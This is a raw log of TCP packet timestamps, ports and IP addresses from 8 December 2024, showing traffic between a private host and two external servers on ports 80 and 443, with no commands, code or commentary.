Dec 8, 2024 17:45:49.859613895 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.866226912 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.866309881 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.866313934 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.866348982 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.872981071 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.873056889 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.873060942 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.873636007 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.874564886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.874664068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.874677896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.874728918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.875057936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.875107050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.875114918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.875184059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.875801086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.875814915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.875852108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.875876904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.876948118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.877023935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.877087116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.877895117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.877954006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.877985954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.878007889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.878911018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.878977060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.878979921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.879040003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.879858971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.879916906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.879955053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.879987955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.880872011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.880928040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.880949974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.880989075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.881887913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.881949902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.882014036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.882095098 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.882901907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.883052111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.883272886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.883899927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.883989096 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.884012938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.884090900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.884927988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.884989977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.885008097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.885052919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.886003017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.886059046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.886076927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.886128902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.886961937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.887044907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.887073040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.887119055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.888015985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.888107061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.888183117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.888240099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.888968945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.889033079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.889060020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.889100075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.889976978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.890033007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.890099049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.890166044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.891006947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.891079903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.891110897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.891179085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.892002106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.892074108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.892080069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.892124891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.893030882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.893100977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.893168926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.893259048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.894005060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.894076109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.947906971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.947932959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.947971106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.947993040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.948237896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.948431015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.948499918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.949342012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.949419975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.949431896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.949623108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.950246096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.950325966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.950385094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.950472116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.951261997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.951343060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.951371908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.951407909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.952356100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.952442884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.952465057 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.952506065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.953350067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.953442097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.953452110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.953530073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.954333067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.954411030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.954432011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.954657078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.955359936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.955471992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.955532074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.956423998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.956465960 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.956495047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.956506014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.956533909 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.956547022 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.956576109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.956597090 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.956669092 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.956707001 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.956732988 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.956741095 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.956767082 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.956793070 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.957345963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.957431078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.957499027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.957557917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.958420038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.958436966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.958501101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.958539963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.959417105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.959527969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.959558964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.959599972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.960422039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.960496902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.960549116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.960728884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.961472988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.961544037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.961579084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.961707115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.962436914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.962531090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.962558031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.962621927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.963495970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.963557005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.963562965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.963617086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.963632107 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.963692904 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.963699102 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.964498997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.964565039 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.964626074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.964664936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.964854002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.965502024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.965531111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.965579987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.965619087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.966547012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.966686964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.966780901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.967502117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.967565060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.967621088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.967750072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.968560934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.968631029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.968681097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.968732119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.969013929 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.969084978 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.969091892 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.969244957 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.969533920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.969602108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.969682932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.969763041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.970561981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.970619917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.970643997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.970685959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.971615076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.971673012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.971714020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.971757889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.972599983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.972659111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.972712994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.972873926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.973623991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.973678112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.973737001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.973808050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.974378109 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.974456072 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.974462032 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.974610090 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.974620104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.974736929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.974761963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.974787951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.975652933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.975816011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.975860119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.975893021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.976649046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.976773977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.976833105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.977765083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.977835894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.977853060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.977891922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.978667021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.978718996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.978827000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.978907108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.979707003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.979773998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.979821920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.979855061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.980674028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.980726004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.981220961 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.981296062 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.981300116 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.981868029 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.986457109 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.986495972 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.986540079 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.986546993 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.986599922 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.986717939 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.986717939 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.986717939 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.986722946 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.987366915 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.993534088 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.993613958 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.993617058 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.993778944 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.998678923 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.998759985 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.998766899 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.998991013 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.003281116 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.003354073 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.003360033 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.003519058 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.008557081 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.008637905 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.008642912 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.009084940 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.009251118 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.009269953 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.009331942 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.009339094 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.009388924 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.012893915 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.012968063 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.012974024 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.013190985 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.018889904 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.018974066 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.018979073 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.019112110 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.023036957 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.023121119 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.023128033 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.023350000 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.031070948 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.031085014 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.031100988 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.031176090 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.031177044 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.031181097 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.031183958 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.031225920 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.031227112 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.033207893 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.033277988 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.033282042 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:50.034120083 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:50.066828966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.066884041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.066946030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.066992044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.067142963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.067199945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.067224026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.067261934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.068042994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.068193913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.068209887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.068300009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.069086075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.069224119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.069418907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.070106030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.070230961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.070287943 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.071120024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.071172953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.071242094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.071283102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.072117090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.072170019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.072228909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.072370052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.076452971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076472044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076495886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076499939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.076508045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076519012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076519012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.076539040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.076564074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.076606035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.076644897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:50.077579021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:50.077658892 CET	49805	80	192.168.2.6	185.215.113.206
